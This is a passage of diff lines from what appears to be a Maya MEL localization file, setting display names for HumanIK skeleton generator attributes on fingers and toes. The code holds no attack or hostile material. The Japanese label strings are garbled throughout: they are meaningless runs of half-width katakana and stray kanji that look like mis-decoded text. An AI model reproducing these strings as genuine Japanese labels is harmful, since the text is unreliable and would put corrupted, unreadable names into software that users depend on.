+setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger2S", "モメスナチヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger2Sx", "モメスナチヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger2Sy", "モメスナチヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger2Sz", "モメスナチヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger3T", "モメスナチヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger3Tx", "モメスナチヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger3Ty", "モメスナチヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger3Tz", "モメスナチヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger3R", "モメスナチヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger3Rx", "モメスナチヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger3Ry", "モメスナチヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger3Rz", "モメスナチヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger3S", "モメスナチヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger3Sx", "モメスナチヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger3Sy", "モメスナチヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger3Sz", "モメスナチヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger4T", "モメスナチヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger4Tx", "モメスナチヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger4Ty", "モメスナチヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger4Tz", "モメスナチヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger4R", "モメスナチヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger4Rx", "モメスナチヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger4Ry", "モメスナチヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger4Rz", "モメスナチヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger4S", "モメスナチヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger4Sx", "モメスナチヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger4Sy", "モメスナチヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger4Sz", "モメスナチヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandThumbT", "ラハヨトエヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandThumbTx", "ラハヨトエヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandThumbTy", "ラハヨトエヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandThumbTz", "ラハヨトエヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandThumbR", "ラハヨトエヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandThumbRx", "ラハヨトエヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandThumbRy", "ラハヨトエヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandThumbRz", "ラハヨトエヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandThumbS", "ラハヨトエヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandThumbSx", "ラハヨトエヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandThumbSy", "ラハヨトエヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandThumbSz", "ラハヨトエヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandIndexT", "ラハヨハウヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandIndexTx", "ラハヨハウヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandIndexTy", "ラハヨハウヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandIndexTz", "ラハヨハウヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandIndexR", "ラハヨハウヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandIndexRx", "ラハヨハウヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandIndexRy", "ラハヨハウヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandIndexRz", "ラハヨハウヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandIndexS", "ラハヨハウヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandIndexSx", "ラハヨハウヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandIndexSy", "ラハヨハウヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandIndexSz", "ラハヨハウヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandMiddleT", "ラハヨヨミヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandMiddleTx", "ラハヨヨミヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandMiddleTy", "ラハヨヨミヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandMiddleTz", "ラハヨヨミヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandMiddleR", "ラハヨヨミヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandMiddleRx", "ラハヨヨミヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandMiddleRy", "ラハヨヨミヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandMiddleRz", "ラハヨヨミヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandMiddleS", "ラハヨヨミヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandMiddleSx", "ラハヨヨミヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandMiddleSy", "ラハヨヨミヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandMiddleSz", "ラハヨヨミヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandRingT", "ラハヨボテヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandRingTx", "ラハヨボテヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandRingTy", "ラハヨボテヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandRingTz", "ラハヨボテヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandRingR", "ラハヨボテヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandRingRx", "ラハヨボテヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandRingRy", "ラハヨボテヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandRingRz", "ラハヨボテヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandRingS", "ラハヨボテヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandRingSx", "ラハヨボテヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandRingSy", "ラハヨボテヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandRingSz", "ラハヨボテヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandPinkyT", "ラハヨミ。ヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandPinkyTx", "ラハヨミ。ヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandPinkyTy", "ラハヨミ。ヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandPinkyTz", "ラハヨミ。ヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandPinkyR", "ラハヨミ。ヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandPinkyRx", "ラハヨミ。ヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandPinkyRy", "ラハヨミ。ヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandPinkyRz", "ラハヨミ。ヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandPinkyS", "ラハヨミ。ヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandPinkySx", "ラハヨミ。ヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandPinkySy", "ラハヨミ。ヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandPinkySz", "ラハヨミ。ヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandExtraFingerT", "ラハヨチヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandExtraFingerTx", "ラハヨチヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandExtraFingerTy", "ラハヨチヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandExtraFingerTz", "ラハヨチヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandExtraFingerR", "ラハヨチヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandExtraFingerRx", "ラハヨチヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandExtraFingerRy", "ラハヨチヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandExtraFingerRz", "ラハヨチヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandExtraFingerS", "ラハヨチヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandExtraFingerSx", "ラハヨチヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandExtraFingerSy", "ラハヨチヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInHandExtraFingerSz", "ラハヨチヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandThumbT", "モメハヨトエヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandThumbTx", "モメハヨトエヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandThumbTy", "モメハヨトエヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandThumbTz", "モメハヨトエヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandThumbR", "モメハヨトエヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandThumbRx", "モメハヨトエヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandThumbRy", "モメハヨトエヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandThumbRz", "モメハヨトエヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandThumbS", "モメハヨトエヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandThumbSx", "モメハヨトエヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandThumbSy", "モメハヨトエヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandThumbSz", "モメハヨトエヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandIndexT", "モメハヨハウヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandIndexTx", "モメハヨハウヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandIndexTy", "モメハヨハウヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandIndexTz", "モメハヨハウヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandIndexR", "モメハヨハウヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandIndexRx", "モメハヨハウヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandIndexRy", "モメハヨハウヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandIndexRz", "モメハヨハウヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandIndexS", "モメハヨハウヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandIndexSx", "モメハヨハウヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandIndexSy", "モメハヨハウヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandIndexSz", "モメハヨハウヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandMiddleT", "モメハヨヨミヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandMiddleTx", "モメハヨヨミヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandMiddleTy", "モメハヨヨミヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandMiddleTz", "モメハヨヨミヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandMiddleR", "モメハヨヨミヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandMiddleRx", "モメハヨヨミヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandMiddleRy", "モメハヨヨミヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandMiddleRz", "モメハヨヨミヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandMiddleS", "モメハヨヨミヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandMiddleSx", "モメハヨヨミヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandMiddleSy", "モメハヨヨミヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandMiddleSz", "モメハヨヨミヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandRingT", "モメハヨボテヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandRingTx", "モメハヨボテヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandRingTy", "モメハヨボテヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandRingTz", "モメハヨボテヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandRingR", "モメハヨボテヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandRingRx", "モメハヨボテヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandRingRy", "モメハヨボテヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandRingRz", "モメハヨボテヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandRingS", "モメハヨボテヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandRingSx", "モメハヨボテヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandRingSy", "モメハヨボテヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandRingSz", "モメハヨボテヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandPinkyT", "モメハヨミ。ヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandPinkyTx", "モメハヨミ。ヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandPinkyTy", "モメハヨミ。ヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandPinkyTz", "モメハヨミ。ヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandPinkyR", "モメハヨミ。ヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandPinkyRx", "モメハヨミ。ヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandPinkyRy", "モメハヨミ。ヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandPinkyRz", "モメハヨミ。ヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandPinkyS", "モメハヨミ。ヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandPinkySx", "モメハヨミ。ヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandPinkySy", "モメハヨミ。ヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandPinkySz", "モメハヨミ。ヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandExtraFingerT", "モメハヨチヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandExtraFingerTx", "モメハヨチヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandExtraFingerTy", "モメハヨチヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandExtraFingerTz", "モメハヨチヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandExtraFingerR", "モメハヨチヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandExtraFingerRx", "モメハヨチヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandExtraFingerRy", "モメハヨチヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandExtraFingerRz", "モメハヨチヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandExtraFingerS", "モメハヨチヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandExtraFingerSx", "モメハヨチヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandExtraFingerSy", "モメハヨチヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInHandExtraFingerSz", "モメハヨチヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootThumbT", "ラスナエヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootThumbTx", "ラスナエヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootThumbTy", "ラスナエヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootThumbTz", "ラスナエヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootThumbR", "ラスナエヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootThumbRx", "ラスナエヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootThumbRy", "ラスナエヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootThumbRz", "ラスナエヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootThumbS", "ラスナエヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootThumbSx", "ラスナエヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootThumbSy", "ラスナエヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootThumbSz", "ラスナエヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootIndexT", "ラスナカヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootIndexTx", "ラスナカヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootIndexTy", "ラスナカヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootIndexTz", "ラスナカヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootIndexR", "ラスナカヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootIndexRx", "ラスナカヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootIndexRy", "ラスナカヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootIndexRz", "ラスナカヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootIndexS", "ラスナカヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootIndexSx", "ラスナカヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootIndexSy", "ラスナカヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootIndexSz", "ラスナカヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootMiddleT", "ラスナヨミヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootMiddleTx", "ラスナヨミヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootMiddleTy", "ラスナヨミヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootMiddleTz", "ラスナヨミヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootMiddleR", "ラスナヨミヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootMiddleRx", "ラスナヨミヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootMiddleRy", "ラスナヨミヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootMiddleRz", "ラスナヨミヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootMiddleS", "ラスナヨミヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootMiddleSx", "ラスナヨミヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootMiddleSy", "ラスナヨミヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootMiddleSz", "ラスナヨミヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootRingT", "ラスナヒトヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootRingTx", "ラスナヒトヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootRingTy", "ラスナヒトヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootRingTz", "ラスナヒトヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootRingR", "ラスナヒトヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootRingRx", "ラスナヒトヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootRingRy", "ラスナヒトヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootRingRz", "ラスナヒトヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootRingS", "ラスナヒトヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootRingSx", "ラスナヒトヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootRingSy", "ラスナヒトヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootRingSz", "ラスナヒトヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootPinkyT", "ラスナミ。ヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootPinkyTx", "ラスナミ。ヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootPinkyTy", "ラスナミ。ヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootPinkyTz", "ラスナミ。ヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootPinkyR", "ラスナミ。ヨコトレイ獎ラェ" ); 